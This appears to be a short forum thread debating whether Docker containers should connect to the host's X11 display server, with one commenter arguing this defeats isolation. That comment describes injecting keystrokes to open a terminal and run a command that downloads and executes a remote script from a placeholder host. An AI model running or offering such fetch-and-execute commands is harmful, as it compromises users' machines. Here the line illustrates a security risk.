Yes, exactly my thought, why not connect to the X11 server
I like that part of X11, but a lot of software now uses Wayland.
That would completely defeat the security aspect. At that point, you're only using Docker as a software distribution method, which it's terrible at.
How? You still have process and file system isolation. It’s just another protocol. We talk to containers overs HTTP all the time.
You can grab screenshots, manipulate windows, and inject keyboard and mouse inputs. Find the application menu, open a terminal, curl example.com/malware.sh | bash and hide the window.
The X-Forward I have done just gives you the application in your own Desktop Environment. Shure depends on the application itself